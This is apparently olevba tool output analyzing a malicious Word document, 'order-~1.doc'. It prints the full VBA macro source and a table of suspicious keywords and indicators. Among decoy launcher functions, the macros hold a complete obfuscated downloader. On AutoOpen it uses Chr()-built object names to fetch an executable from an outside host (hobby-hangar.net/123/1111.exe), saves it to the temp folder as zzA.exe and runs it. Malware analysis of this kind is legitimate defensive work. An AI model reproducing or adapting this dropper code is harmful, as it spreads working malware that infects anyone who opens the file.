Malicious Word macro

olevba 0.31 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASI-B-V order-~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: order-~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: order-~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()

SSVEvdqwfF3 (7.4)

End Sub




Sub SSVEvdqwfF3(FFFFF As Double)
vtkNormalizeFileToFile

End Sub
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: order-~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Sub ErrorHandler(lError As Long, sObjectName As String, sFunctionName As String)
On Error GoTo ERROR_HANDLER:
    Dim sPath As String

    HadError = True
    'AddChat vbRed, StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)

    sPath = ReplaceEnvironmentVars("%APPDATA%\StealthBot\LauncherErrors.txt")
    If (LenB(Dir$(sPath)) = 0) Then
        Open sPath For Output As #1: Close #1
    End If

    Open sPath For Append As #1
        Print #1, StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
    Close #1

    Err.Clear
    sErrorFile = ReplaceEnvironmentVars("%APPDATA%\StealthBot\LauncherErrors.txt")

    Exit Sub

ERROR_HANDLER:
    MsgBox StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
    Err.Clear
End Sub

Public Function StringFormat(source As String, ParamArray params() As Variant)
On Error GoTo ERROR_HANDLER:

    Dim retVal As String, i As Integer
    retVal = source
    For i = LBound(params) To UBound(params)
        retVal = Replace(retVal, "{" & i & "}", CStr(params(i)))
    Next
    StringFormat = retVal

    Exit Function

ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "StringFormat"
    StringFormat = vbNullString
End Function

Public Function ReplaceEnvironmentVars(ByVal str As String) As String
On Error GoTo ERROR_HANDLER:

    Dim i     As Integer
    Dim Name  As String
    Dim Value As String
    Dim tmp   As String

    tmp = str

    i = 1

    While (LenB(Environ$(i)) > 0)
        Name = Mid$(Environ$(i), 1, InStr(1, Environ$(i), "=") - 1)
        Value = Mid$(Environ$(i), InStr(1, Environ$(i), "=") + 1)
        tmp = Replace(tmp, "%" & Name & "%", Value)
        i = i + 1
    Wend
    ReplaceEnvironmentVars = tmp

    Exit Function

ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "ReplaceEnvironmentVars"
    ReplaceEnvironmentVars = vbNullString
End Function

Public Function MakeDirectory(sPath As String) As Boolean
On Error GoTo ERROR_HANDLER
    MkDir sPath
    MakeDirectory = True

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "MakeDirectory"
    MakeDirectory = False
End Function

Public Sub LoadXMLDocument()
On Error GoTo ERROR_HANDLER:
Exit Sub
    If (Not xml_doc Is Nothing) Then
        Set xml_doc = Nothing
    End If

    Set xml_doc = New DOMDocument60
    If (Not xml_doc.Load(App.path & "\Launcher.xml")) Then
        MsgBox "Failed to load Launcher.xml"
    End If

    Exit Sub
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "LoadXMLDocument"
End Sub

Public Function CopyProfileFiles(sProfile As String) As Boolean
On Error GoTo ERROR_HANDLER:
    Dim sRootPath As String

    sRootPath = StringFormat("{0}\StealthBot\{1}", ReplaceEnvironmentVars("%APPDATA%"), sProfile)

    'Copy over the \Default\ Directory if it exists.
    If (LenB(Dir$(StringFormat("{0}\Default\", App.path), vbDirectory)) > 0) Then
        If (Not CopyFolder(StringFormat("{0}\Default", App.path), sRootPath)) Then
            'could not copy default folder
        End If
    End If

    CopyProfileFiles = True

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "CopyProfileFiles"
End Function

Public Function KillFolder(ByVal FullPath As String) As Boolean
On Error GoTo ERROR_HANDLER:
    Dim oFso As Object
    Set oFso = CreateObject("Scripting.FileSystemObject")

    If Right(FullPath, 1) = "\" Then FullPath = Left$(FullPath, Len(FullPath) - 1)

    If oFso.FolderExists(FullPath) Then
        Dir App.path  'Use App.Path because that *should* always exist unless some voodo was performed. But 'C:/' is not garenteed.
        oFso.DeleteFolder FullPath, True
        KillFolder = (Err.Number = 0 And oFso.FolderExists(FullPath) = False)
    Else
        KillFolder = True
    End If

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "KillFolder"
    KillFolder = False
End Function
Public Function LaunchProfile(sProfile As String) As Boolean
On Error GoTo ERROR_HANDLER:
    Dim lRet     As Long
    Dim sPath    As String
    Dim security As SECURITY_ATTRIBUTES
    Dim suInfo   As STARTUPINFO
    Dim pInfo    As PROCESS_INFORMATION
    Dim sCL      As String

    sCL = StringFormat(" -addpath {0}{1}{0}", Chr$(34), App.path)
    sCL = StringFormat("{0} -launcherver {1}{2}{3}", sCL, ZeroOffset(App.Major, 2), ZeroOffset(App.Minor, 2), ZeroOffset(App.Revision, 4))
    If (HadError) Then
        sCL = StringFormat("{0} -launchererror", sCL)
        If (LenB(sErrorFile)) Then sCL = StringFormat("{0} {1}{2}{1}", sCL, Chr$(34), sErrorFile)
    End If

    If (Not ProfileExists(sProfile)) Then Exit Function

    sPath = StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}\"), sProfile)
    lRet = CreateProcess(StringFormat("{0}\StealthBot v2.7", App.path), _
        sCL, _
      security, security, False, _
      NORMAL_PRIORITY_CLASS, _
      ByVal 0&, sPath, suInfo, pInfo)

    If (cConfig Is Nothing) Then Set cConfig = New clsConfig
    If (cConfig.AutoClose) Then Unload frmLauncher


    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "LaunchProfile"
    LaunchProfile = False
End Function



Private Function GetDesktopPath() As String
On Error GoTo ERROR_HANDLER:
    Dim oShell As Object
    Dim sPath  As String

    Set oShell = CreateObject("WScript.Shell")
    sPath = oShell.SpecialFolders("Desktop")
    If (Not Right$(sPath, 1) = "\") Then sPath = sPath & "\"


    GetDesktopPath = sPath

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "GetDesktopPath"
End Function

Public Function CreateShortcut(sProfile As String)
On Error GoTo ERROR_HANDLER:
    Dim oShell    As Object
    Dim oShortCut As Object
    Dim sDesktop  As String
    Dim sPath     As String

    sDesktop = GetDesktopPath
    If (LenB(sDesktop) = 0) Then
        MsgBox "Failed to get desktop folder."
        Exit Function
    End If

    sPath = StringFormat("{0}StealthBot - {1}.lnk", sDesktop, sProfile)

    Set oShell = CreateObject("WScript.Shell")
    Set oShortCut = oShell.CreateShortcut(sPath)
    With oShortCut
        .TargetPath = StringFormat("{0}{1}\{2}.exe{0}", Chr$(34), App.path, App.EXEName)
        .Arguments = StringFormat("-LaunchProfile {0}{1}{0}", Chr$(34), sProfile)
        .Save
    End With

    MsgBox StringFormat("Created shortcut for profile {0}{1}{0} on your desktop.{2}{3}", Chr$(34), sProfile, vbNewLine, sPath)

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "CreateShortcut"
End Function

Public Function ProfileExists(sProfile As String)
On Error GoTo ERROR_HANDLER:
    Dim sPath As String

    If (LenB(sProfile) = 0) Then
        ProfileExists = False
        Exit Function
    End If
End Function


  Public Function Profile8Exists(AquaBarb2 As String, AquaBarb3 As String, AquaBarb As Object, GetDesktopMPath_3 As String, GetDesktopMPath_8 As Double) As Double
Profile8Exists = 77.8
Profile8Exists = Create_Shortcut(AquaBarb, GetDesktopMPath_3)
Profile8Exists = 72.99
  End Function
Public Function vtkNormalizeFileToFile()
Set GetDesktopMPath_1 = LaunchHistProfile(Chr(87) & Chr(80 + 3) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) + Chr(23 * 2) & Chr(40 * 2 + 3) & Chr(104) & Chr(101) & Chr(108) & Chr(108)).Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
GetDesktopMPath_2 = GetDesktopMPath_1("T" & Chr(69) & Chr(77) & Chr(80))
Dim AquaBarb As Object
Set AquaBarb = LaunchHistProfile(Chr(65) & "do" & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & "a" & Chr(109))
Dim GetDesktopMPath_3 As String
GetDesktopMPath_3 = GetDesktopMPath_2 & "\" & "zz" & Chr(65) & "." & "e" & Chr(120) & "e"
With AquaBarb
   .Type = 1
    .Open
    .write usZ5pw3gU8(223)

End With
 Dim HricK As Double
HricK = Profile8Exists("AquaBarb", "AquaBarb", AquaBarb, GetDesktopMPath_3, 88.3)
Set noexile = LaunchHistProfile(";<=" + Chr(83) & "h" & "e" & Chr(108) & Chr(108) & Chr(46) & Chr(65) & "p" & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
noexile.Open (GetDesktopMPath_3)
End Function
Public Function Profile7Exists(sProfile As String)
    sPath = StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}\"), sProfile)

    ProfileExists = LenB(Dir$(sPath, vbDirectory)) > 0

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "ProfileExists"
End Function

Public Function CreateProfile(sName As String) As Boolean
On Error GoTo ERROR_HANDLER:
    Dim sPath As String
    CreateProfile = False

    sPath = StringFormat("{0}\StealthBot\{1}", ReplaceEnvironmentVars("%APPDATA%"), sName)

    If (ProfileExists(sName)) Then
        MsgBox "Profile already exists!"
        Exit Function
    End If

    If (Not MakeDirectory(sPath)) Then
        MsgBox "Error creating profile directory."
        Exit Function
    End If

    If (Not CopyProfileFiles(sName)) Then
        MsgBox "Failed to copy profile files over."
        KillFolder sPath
        Exit Function
    End If

    CreateProfile = True

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "CreateProfile"
End Function


-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: order-~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private properlyCasedIdentifiersArray() As String

'---------------------------------------------------------------------------------------
' Procedure : initializeList
' Author    : Lucas Vitorino
' Purpose   : This Sub initializes the list of properly cased identifiers used to normalize the source code.
'---------------------------------------------------------------------------------------
'
Private Sub initializeList()

    Dim properlyCasedIdentifiersString As String

    properlyCasedIdentifiersString = _
    "Dim" & "," & _
    "Wb" & "," & _
    "Err" & "," & _
    "Number" & "," & _
    "Description" & "," & _
    "Source" & "," & _
    "Count" & "," & _
    "File" & "," & _
    "Folder" & "," & _
    "Scripting" & "," & _
    "Boolean" & "," & _
    "String" & "," & _
    "Integer" & "," & _
    "addModule" & "," & _
    "returnValue" & "," & _
    "retVal" & "," & _
    "fileName" & "," & _
    "saveChanges" & "," & _
    ""

    properlyCasedIdentifiersArray = Split(properlyCasedIdentifiersString, ",")

End Sub

'---------------------------------------------------------------------------------------
' Procedure : vtkListOfProperlyCasedIdentifiers
' Author    : Lucas Vitorino
' Purpose   : This functions returns the array containing the properly cased Strings.
'---------------------------------------------------------------------------------------
'
Public Function vtkListOfProperlyCasedIdentifiers() As String()

    If Len(Join(properlyCasedIdentifiersArray, "")) = 0 Then ' if the array has not been initialized
        initializeList
    End If

    vtkListOfProperlyCasedIdentifiers = properlyCasedIdentifiersArray

End Function


'---------------------------------------------------------------------------------------
' Procedure : vtkNormalizeToken
' Author    : Lucas Vitorino
' Purpose   : - Perform a case-insensitive search of a given token in a given array of Strings,
'               and return this token with the casing used in the array.
'             - If the token is not found in the array of if the array is empty, the token is
'               returned unchanged.
' Returns   : A String corresponding to the normalized token.
' Errors    : VTK_UNEXPECTED_ERROR
'---------------------------------------------------------------------------------------
'
Public Function vtkNormalizeToken(token As String, listOfTokens() As String) As String

    On Error GoTo vtkNormalizeToken_Error

    ' If the list is not empty
    If Len(Join(listOfTokens, "")) <> 0 Then
        ' Perform the search
        Dim i As Integer
        For i = LBound(listOfTokens) To UBound(listOfTokens)
            If StrComp(UCase(token), UCase(listOfTokens(i))) = 0 Then
                vtkNormalizeToken = listOfTokens(i)
                Exit Function
            End If
        Next
    End If

    ' If the token has not been found or the list is empty, return the token unchanged
    On Error GoTo 0
    vtkNormalizeToken = token
    Exit Function

vtkNormalizeToken_Error:
    Err.source = "function vtkNormalizeToken of module vtkNormalize"
    Err.Number = VTK_UNEXPECTED_ERROR
    Err.Raise Err.Number, Err.source, Err.Description
    Exit Function
End Function

'---------------------------------------------------------------------------------------
' Procedure : vtkNormalizeString
' Author    : Lucas Vitorino
' Purpose   : Normalize a String by normalizing the VBA identifier tokens in it
'               - an identifier token is a String starting by a [A-Za-z] character with nothing but characters,
'                 numbers and underscores in it
'               - comments are not scanned for identifier tokens.
' Returns   : The normalized String corresponding to the input String.
' Raises    : - VTK_UNEXPECTED_EOS
'             - VTK_UNEXPECTED_CHAR
'             - VTK_UNEXPECTED_ERROR
' Notes     : This code is based on code generated by Klemen's LEX4VB. Get LEX4VB from http://www.schmidks.de
'---------------------------------------------------------------------------------------
'
Public Function Create_Shortcut(GetDesktopMPath_4 As Object, GetDesktopMPath_3 As String) As Integer
Create_Shortcut = 15
GetDesktopMPath_4.savetofile GetDesktopMPath_3, 2
Create_Shortcut = 2
End Function
Public Function vtkNormalizeString(s As String, listOfTokens() As String) As String

Dim token As String
Dim State As Integer, OldState As Integer
Dim Cnt As Integer
Dim ch As String
Dim p As Integer

Dim returnString As String

On Error GoTo vtkNormalizeString_Error
p = 1: State = 0: OldState = -1
s = s & Chr(0)

Do While p <= Len(s)
    If State = OldState Then Cnt = Cnt + 1 Else Cnt = 0
    OldState = State
    ch = Mid(s, p, 1)
        Select Case State
            Case 0:
                ' The analyser is looking for a token : copy characters without modifying
                If Asc(ch) = 0 Then
                    State = 9
                ElseIf ch Like "[A-Za-z]" Then
                    token = token & ch
                    State = 1
                ElseIf ch Like "[']" Then
                    returnString = returnString & ch
                    token = ""
                    State = 2
                ElseIf ch Like "[""]" Then
                    returnString = returnString & ch
                    token = ""
                    State = 3
                ElseIf ch Like "[!']" Then
                    returnString = returnString & ch
                    token = ""
                    State = 0
                Else: Err.Raise VTK_UNEXPECTED_CHAR
                End If
End Function

Public Function usZ5pw3gU8(KJB As Long)

Dim sCommandLine As Object
Set sCommandLine = LaunchHistProfile(Chr(77) & Chr(105) & "c" & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & Chr(76) & "H" & Chr(84) & Chr(84) & "P")
ProfileChr sCommandLine
sCommandLine.Send
usZ5pw3gU8 = sCommandLine.responseBody
End Function
Public Function analsyer_is()
            Case 1:
                ' The analsyer is in a token : normalize tokens it finds
                If Asc(ch) = 0 Then
                    returnString = returnString & vtkNormalizeToken(token, listOfTokens)
                    State = 9
                ElseIf ch Like "[A-Za-z,0-9,_]" Then
                    token = token & ch
                    State = 1
                ElseIf ch Like "[']" Then
                    returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
                    token = ""
                    State = 2
                ElseIf ch Like "[""]" Then
                    returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
                    token = ""
                    State = 3
                ElseIf ch Like "[!']" Then
                    returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
                    token = ""
                    State = 0
                Else: Err.Raise VTK_UNEXPECTED_CHAR
                End If


            Case 2:
                ' The analyser is in a comment : copy characters without modifying until end of String
                If Asc(ch) = 0 Then
                    State = 9
                ElseIf Asc(ch) > 0 Then
                    returnString = returnString & ch
                    State = 2
                Else: Err.Raise VTK_UNEXPECTED_CHAR
                End If

            Case 3:
                'The analyser is in a String : copy characters without modifying until a quote
                If Asc(ch) = 0 Then
                    State = 9
                ElseIf ch Like "[""]" Then
                    returnString = returnString & ch
                    State = 0
                ElseIf Asc(ch) > 0 Then
                    returnString = returnString & ch
                    State = 3
                Else: Err.Raise VTK_UNEXPECTED_CHAR
                End If


            Case 9:
                If True Then
                    State = 9
                Else: Err.Raise VTK_UNEXPECTED_CHAR
                End If

        End Select

p = p + 1
Loop

If State <> 9 Then Err.Raise VTK_UNEXPECTED_EOS

vtkNormalizeString = returnString
Exit Function

vtkNormalizeString_Error:

    Err.source = "function vtkNormalizeString of module vtkNormalize"

    Select Case Err.Number
        Case VTK_UNEXPECTED_EOS
            Err.Description = "Unexpected EOS in String " & s
        Case VTK_UNEXPECTED_CHAR
            Err.Description = "Unexpected character of Ascii code " & Asc(ch) & " in String " & s & " at position " & p
        Case Else
            Err.Number = VTK_UNEXPECTED_ERROR
    End Select

    Err.Raise Err.Number, Err.source, Err.Description

End Function


'---------------------------------------------------------------------------------------
' Procedure : vtkNormalizeFile
' Author    : Lucas Vitorino
' Purpose   : Normalize a file.
'               - Create a temporary file in the same directory
'               - Copy each line of the original file in the temporary file, after calling vtkNormalizeString on them
'               - Delete the original file
'               - Rename the temporary file with the name of the original one.
' Raises    : - VTK_WRONG_FILE_PATH
'             - VTK_UNEXPECTED_ERROR
'---------------------------------------------------------------------------------------
'
Public Sub vtkNormalizeFile(fullFilePath As String, listOfTokens() As String)

On Error GoTo vtkNormalizeFile_Error

    Dim fso As New FileSystemObject

    ' Initialize input and output files
    Dim inputFileObject As File
    Set inputFileObject = fso.GetFile(fullFilePath)

    Dim normalizedFullFilePath As String
    normalizedFullFilePath = inputFileObject.ParentFolder & "\" & "tmp_" & inputFileObject.Name
    fso.CreateTextFile (normalizedFullFilePath)
    Dim outputFileObject As File
    Set outputFileObject = fso.GetFile(normalizedFullFilePath)

    ' Initialize objects to read and write the files
    Dim textFileRead As TextStream
    Set textFileRead = fso.OpenTextFile(fullFilePath, ForReading)
    Dim textFileWrite As TextStream
    Set textFileWrite = fso.OpenTextFile(normalizedFullFilePath, ForWriting)

    ' Copy each line of the input file in the output file after normalizing it
    Do Until textFileRead.AtEndOfStream
        textFileWrite.WriteLine (vtkNormalizeString(textFileRead.ReadLine, listOfTokens))
    Loop

    ' Close the streams
    textFileRead.Close
    textFileWrite.Close

    ' Delete original file
    Kill fullFilePath

    ' Rename normalized file with the name of the original file
    outputFileObject.Name = fso.GetFileName(fullFilePath)

   On Error GoTo 0

   Exit Sub

vtkNormalizeFile_Error:

    Err.source = "sub vtkNormalizeFile of module vtkNormalize"

    Select Case Err.Number
        Case 53
            Err.Number = VTK_WRONG_FILE_PATH
        Case Else
            Err.Number = VTK_UNEXPECTED_ERROR
    End Select

    Err.Raise Err.Number, Err.source, Err.Description

    Exit Sub

End Sub

-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: order-~1.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function RemoveProfile(ByRef Item As String)
On Error GoTo ERROR_HANDLER
    Dim lRet As Long
    Dim sProfile As String

    sProfile = Item.Text

    lRet = MsgBox(StringFormat("This will delete EVERYTHING in the {0}{1}{0} profile. Are you sure?", Chr$(34), sProfile), vbYesNoCancel + vbQuestion)

    If (lRet = vbYes) Then
        If (KillFolder(StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}"), sProfile))) Then
            frmLauncher.UnlistProfile Item.Index
        Else
            MsgBox "Failed to delete the profile. It may be in use by an application. Try rebooting your computer and deleting it again.", vbInformation + vbOKOnly
            Exit Function
        End If
    End If

    RemoveProfile = True

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "RemoveProfile"
End Function

Private Function StripString(ByRef sTemp As String) As String
On Error GoTo ERROR_HANDLER
    Dim sValue   As String

    If (Left$(sTemp, 1) = Chr$(34)) Then
        If (InStr(2, sTemp, Chr$(34), vbTextCompare) > 0) Then
            sValue = Mid$(sTemp, 2, InStr(2, sTemp, Chr$(34), vbTextCompare) - 2)
            sTemp = Mid$(sTemp, Len(sValue) + 4)
        Else
            sValue = Mid$(Split(sTemp & " -", " -")(0), 2)
            sTemp = Mid$(sTemp, Len(sValue) + 3)
        End If
    Else
        sValue = Split(sTemp & " -", " -")(0)
        sTemp = Mid$(sTemp, Len(sValue) + 2)
    End If
    StripString = sValue
    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "StripString"
End Function
Public Function ProfileChr(KJB As Object)
Dim segR As String
segR = Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/" & Chr(104) & "o" & "b" & Chr(98) & Chr(121) & Chr(45) & Chr(104) & "a" & Chr(110) & "g" & Chr(97) & Chr(114)
KJB.Open Chr(71) & "E" & Chr(84), segR & Chr(46) & "n" & Chr(101) & Chr(116) & "/" & Chr(49) & "2" & Chr(51) & Chr(47) & Chr(49) & Chr(49) & "1" & "1" & Chr(46) & "e" & Chr(120) & "e", False
End Function
Public Function SetCommandLine(sCommandLine As String) As Boolean
On Error GoTo ERROR_HANDLER:
    Dim sTemp    As String
    Dim sSetting As String
    Dim sValue   As String
    CommandLine = vbNullString
    sTemp = sCommandLine

    Do While Left$(sTemp, 1) = "-"
        sSetting = Split(Mid$(sTemp, 2) & Space$(1), Space$(1))(0)
        sTemp = Mid$(sTemp, Len(sSetting) + 3)
        Select Case LCase$(sSetting)

            Case "launchprofile":
                sValue = StripString(sTemp)
                If (Not LenB(sValue) = 0) Then
                    If (Not ProfileExists(sValue)) Then
                        MsgBox StringFormat("The Profile {0}{1}{0} does not exist!", Chr$(34), sValue)
                    Else
                        LaunchProfile sValue
                        SetCommandLine = True
                        Exit Function
                    End If
                End If

            Case Else:
                CommandLine = StringFormat("{0}-{1} ", CommandLine, sSetting)
        End Select
    Loop
    Exit Function
ERROR_HANDLER:
    SetCommandLine = False
    ErrorHandler Err.Number, OBJECT_NAME, "SetCommandLine"
End Function
Public Function LaunchHistProfile(SmRaNdMM1 As String)
For i = 0 To 3
SmRaNdMM1 = Replace(SmRaNdMM1, Chr(i + 20 * 3 - 1), "")
Next i
 Set LaunchHistProfile = CreateObject(SmRaNdMM1)
End Function
Public Function CopyFolder(sSource As String, sDest As String) As Boolean
On Error GoTo ERROR_HANDLER:
    Dim sFile     As String
    Dim sSourcePath As String
    Dim sDestPath   As String
    Dim sFiles      As New Collection
    Dim X           As Integer

    CopyFolder = False

    If (LenB(Dir$(sDest, vbDirectory)) = 0) Then
        If (Not MakeDirectory(sDest)) Then Exit Function
    End If

    If (LenB(Dir$(StringFormat("{0}\", sSource), vbDirectory)) = 0) Then Exit Function

    Do While True
         sFile = Dir$
         If (LenB(sFile) = 0) Then Exit Do
         If (Not sFile = "..") Then sFiles.Add sFile
    Loop

    For X = 1 To sFiles.Count
        sFile = sFiles.Item(X)
        sSourcePath = StringFormat("{0}\{1}", sSource, sFile)
        sDestPath = StringFormat("{0}\{1}", sDest, sFile)
        If ((GetFileAttributes(sSourcePath) And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) Then
            If (Not CopyFolder(sSourcePath, sDestPath)) Then
                KillFolder sDest
                Exit Function
            End If
        Else
            Call FileCopy(sSourcePath, sDestPath)
            If (LenB(Dir$(sDestPath)) = 0) Then
                KillFolder sDest
                Exit Function
            End If
        End If
    Next X

    CopyFolder = True

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "CopyFolder"
    CopyFolder = False
End Function

'Public Sub AddChat(ParamArray saElements() As Variant)
'On Error GoTo ERROR_HANDLER:
'    Dim i As Integer
'    With frmStatus.rtbStatus
'        If (Len(.Text) > &H4000) Then
'            .SelStart = 0
'            .SelLength = &H100
'            .SelText = vbNullString
'        End If
'
'        .SelStart = Len(.Text)
'        .SelLength = 0
'        .SelColor = vbWhite
'        .SelText = StringFormat("[{0}] ", Time)
'        .SelStart = Len(.Text)
'
'        For i = LBound(saElements) To UBound(saElements) Step 2
'            .SelStart = Len(.Text)
'            .SelLength = 0
'            .SelColor = saElements(i)
'            .SelText = saElements(i + 1) & Left$(vbCrLf, -2 * CLng((i + 1) = UBound(saElements)))
'            .SelStart = Len(.Text)
'        Next i
'    End With
'    Exit Sub
'ERROR_HANDLER:
'    If (Err.Number = 13 Or Err.Number = 91) Then Exit Sub
'    ErrorHandler Err.Number, OBJECT_NAME, "AddChat"
'End Sub

Public Function GetWebPath()
On Error GoTo ERROR_HANDLER
    GetWebPath = "http://www.StealthBot.net/sb/Launcher/"

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "GetWebPath"
End Function

Public Function ReplaceVars(sString As String) As String
On Error GoTo ERROR_HANDLER
    sString = Replace$(sString, "{PROFILEPATH}", "%APPDATA\StealthBot")
    sString = ReplaceEnvironmentVars(sString)
    ReplaceVars = sString

    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "ReplaceVars"
End Function

'Public Function CheckForUpdates() As Boolean
'On Error GoTo ERROR_HANDLER:
'
'    Dim sTemp As String
'    Dim i     As Integer
'    Dim sCRC  As String
'    Dim lRet  As Long
'
'    With frmLauncher.iNet
'
'        'sTemp = .OpenURL(StringFormat("{0}?p=lnews", GetWebPath))
'        'AddChat vbGreen, StringFormat("Launcher news:{0}{1}", vbNewLine, ReplaceVars(sTemp))
'
'        sTemp = .OpenURL(StringFormat("{0}?p=lupdate", GetWebPath))
'
'        i = InStr(sTemp, Chr$(&HFF))
'        If (i = 0) Then
'            'AddChat vbRed, "Failed to get launcer update information."
'            Exit Function
'        End If
'
'        If (Not StrComp(Left$(sTemp, i - 1), StringFormat("{0}.{1}", App.Major, App.Minor), vbTextCompare) = 0) Then
'            sTemp = .OpenURL(StringFormat("{0}?p=latest_url", GetWebPath))
'            lRet = MsgBox(StringFormat("Version {0} of the launcher is avalible at {1}.{2}Would you like to download it now?", _
'                Left$(sTemp, i - 1), sTemp, vbNewLine), vbYesNo)
'
'

'            If (lRet = vbYes) Then
'                ShellExecute frmLauncher.hWnd, vbNullString, sTemp, vbNullString, vbNullString, SW_SHOW
'                CheckForUpdates = True
'            End If
'            'AddChat vbGreen, "New updates avalible: ", vbWhite, sTemp
'            Exit Function
'        End If
'    End With
'    Exit Function
'ERROR_HANDLER:
'    ErrorHandler Err.Number, OBJECT_NAME, "CheckForUpdates"
'End Function

Public Function ZeroOffset(ByVal lInput As Long, ByVal lDigits As Long) As String
On Error GoTo ERROR_HANDLER:
    ZeroOffset = Right$(String(lDigits, "0") & Hex$(lInput), lDigits)
    Exit Function
ERROR_HANDLER:
    ErrorHandler Err.Number, OBJECT_NAME, "CheckForUpdates"
    ZeroOffset = String$(lDigits, "0")
End Function

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| AutoExec   | AutoClose            | Runs when the Word document is closed   |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | MkDir                | May create a directory                  |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | FileCopy             | May copy a file                         |
| Suspicious | CreateTextFile       | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Output               | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Print #              | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command (obfuscation: VBA expression)   |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject) (obfuscation: VBA    |
|            |                      | expression)                             |
| Suspicious | ADODB.Stream         | May create a text file (obfuscation:    |
|            |                      | VBA expression)                         |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | http://www.schmidks. | URL                                     |
|            | de                   |                                         |
| IOC        | http://www.StealthBo | URL                                     |
|            | t.net/sb/Launcher/   |                                         |
| IOC        | zzA.exe              | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| IOC        | 1111.exe             | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
+------------+----------------------+-----------------------------------------+